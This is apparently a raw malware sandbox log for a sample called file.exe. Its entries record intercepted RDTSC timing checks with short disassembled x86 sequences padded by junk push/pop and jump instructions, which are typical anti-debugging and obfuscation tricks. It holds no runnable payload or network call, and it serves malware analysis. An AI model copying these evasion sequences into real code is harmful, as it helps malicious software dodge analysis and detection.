Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 877692 second address: 87769D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87769D second address: 8776C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F367CBFD3E1h 0x00000009 jnp 00007F367CBFD3D6h 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jc 00007F367CBFD3DEh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8776C4 second address: 8776CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87CDE0 second address: 87CDF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367CBFD3E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87CDF6 second address: 87CDFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87CDFC second address: 87CE00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87CE00 second address: 87CE1A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367D44DA16h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87CE1A second address: 87CE2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jns 00007F367CBFD3D6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87CE2B second address: 87CE3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F367D44DA12h 0x0000000c jns 00007F367D44DA06h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87D0A9 second address: 87D0AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87D0AD second address: 87D0C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367D44DA0Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007F367D44DA06h 0x00000011 jno 00007F367D44DA06h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87D222 second address: 87D246 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007F367CBFD3D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F367CBFD3E6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87D246 second address: 87D25B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367D44DA10h 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87D4F5 second address: 87D4F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87D4F9 second address: 87D508 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F367D44DA06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87D508 second address: 87D534 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F367CBFD3D6h 0x0000000a pop esi 0x0000000b jmp 00007F367CBFD3E8h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87D534 second address: 87D543 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 je 00007F367D44DA06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87D543 second address: 87D559 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F367CBFD3E0h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87D559 second address: 87D55E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87D7CE second address: 87D7D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F367CBFD3D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87D7D8 second address: 87D7E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367D44DA0Bh 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87D7E9 second address: 87D7EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87D7EE second address: 87D7FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F367D44DA06h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87D7FA second address: 87D80B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007F367CBFD3D6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87D80B second address: 87D80F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87D80F second address: 87D82B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jno 00007F367CBFD3E0h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87DEBF second address: 87DEC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87DEC5 second address: 87DEC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87C7A6 second address: 87C7B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 js 00007F367D44DA08h 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87C7B3 second address: 87C7DA instructions: 0x00000000 rdtsc 0x00000002 jns 00007F367CBFD3E2h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F367CBFD3DCh 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87C7DA second address: 87C7DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883C7F second address: 883C84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883C84 second address: 883C91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F367D44DA06h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883C91 second address: 883CC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push ecx 0x00000008 jmp 00007F367CBFD3DCh 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F367CBFD3E3h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883CC0 second address: 883CC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F9A7B second address: 7F9A7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F9A7F second address: 7F9A85 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F9A85 second address: 7F9A9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F367CBFD3DEh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F9A9D second address: 7F9AC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007F367D44DA06h 0x00000010 jmp 00007F367D44DA13h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F9AC0 second address: 7F9AC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8828B8 second address: 8828BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8834B7 second address: 8834D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F367CBFD3E6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8834D5 second address: 8834DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88365F second address: 883664 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883A04 second address: 883A08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883A08 second address: 883A1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 ja 00007F367CBFD3D6h 0x0000000f jnl 00007F367CBFD3D6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88834F second address: 888374 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F367D44DA06h 0x00000008 je 00007F367D44DA06h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop ebx 0x00000011 pushad 0x00000012 jmp 00007F367D44DA0Bh 0x00000017 jo 00007F367D44DA0Ch 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 849ED6 second address: 849EEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop esi 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F367CBFD3DDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84A89A second address: 84A8A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84ACDD second address: 84ACE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84ACE5 second address: 84ACEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84AF9F second address: 84AFA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 887416 second address: 88741C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88741C second address: 887420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 887420 second address: 887424 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 887424 second address: 88742F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 887554 second address: 887558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 887558 second address: 88755C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88755C second address: 887591 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F367D44DA13h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b ja 00007F367D44DA08h 0x00000011 pushad 0x00000012 jmp 00007F367D44DA0Dh 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 push eax 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8878AE second address: 8878CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367CBFD3E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jbe 00007F367CBFD3DCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 887A6C second address: 887AAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F367D44DA06h 0x00000009 jg 00007F367D44DA06h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 push esi 0x00000016 jng 00007F367D44DA06h 0x0000001c push ecx 0x0000001d pop ecx 0x0000001e pop esi 0x0000001f push eax 0x00000020 jnc 00007F367D44DA06h 0x00000026 jmp 00007F367D44DA15h 0x0000002b pop eax 0x0000002c push ebx 0x0000002d push edi 0x0000002e pop edi 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88C2C5 second address: 88C2F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007F367CBFD3DAh 0x0000000a jmp 00007F367CBFD3E8h 0x0000000f push edi 0x00000010 pop edi 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 jng 00007F367CBFD3D6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88C2F9 second address: 88C303 instructions: 0x00000000 rdtsc 0x00000002 je 00007F367D44DA06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88BAFF second address: 88BB05 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88BB05 second address: 88BB19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F367D44DA0Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88BDF9 second address: 88BE01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88BE01 second address: 88BE0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F367D44DA06h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88BE0C second address: 88BE38 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F367CBFD3DEh 0x00000008 pushad 0x00000009 jmp 00007F367CBFD3E7h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88E35F second address: 88E36C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F367D44DA06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88E36C second address: 88E38A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F367CBFD3E9h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 895375 second address: 895384 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F367D44DA0Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 895384 second address: 89538A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89538A second address: 89539D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F367D44DA08h 0x0000000c pushad 0x0000000d popad 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FB59E second address: 7FB5B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F367CBFD3E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FB5B7 second address: 7FB5BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 893DC2 second address: 893DD7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 jc 00007F367CBFD3D6h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 893DD7 second address: 893DDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 893DDB second address: 893E11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push edi 0x0000000c pop edi 0x0000000d jno 00007F367CBFD3D6h 0x00000013 popad 0x00000014 push edx 0x00000015 push esi 0x00000016 pop esi 0x00000017 push edi 0x00000018 pop edi 0x00000019 pop edx 0x0000001a pushad 0x0000001b push edi 0x0000001c pop edi 0x0000001d jmp 00007F367CBFD3E7h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89426C second address: 894276 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 894276 second address: 89427C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89427C second address: 89429A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007F367D44DA12h 0x0000000b pop eax 0x0000000c popad 0x0000000d push ebx 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84AC72 second address: 84ACDD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jo 00007F367CBFD3E9h 0x0000000d pushad 0x0000000e push edx 0x0000000f pop edx 0x00000010 jmp 00007F367CBFD3DFh 0x00000015 popad 0x00000016 nop 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007F367CBFD3D8h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 0000001Ah 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 sub dx, A938h 0x00000036 jmp 00007F367CBFD3E3h 0x0000003b push 0000001Eh 0x0000003d mov di, dx 0x00000040 mov cx, 9E6Ch 0x00000044 push eax 0x00000045 pushad 0x00000046 pushad 0x00000047 pushad 0x00000048 popad 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89457B second address: 894594 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F367D44DA0Fh 0x00000009 popad 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 894594 second address: 89459A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89459A second address: 89459E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89923F second address: 89925F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F367CBFD3E5h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89925F second address: 899269 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F367D44DA06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 899269 second address: 89928C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F367CBFD3E9h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89928C second address: 899290 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 898A7A second address: 898A80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 898A80 second address: 898A85 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 898A85 second address: 898A94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007F367CBFD3D6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 898BD4 second address: 898BEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F367D44DA0Fh 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 898EC5 second address: 898EE9 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F367CBFD3EAh 0x00000008 jmp 00007F367CBFD3E4h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
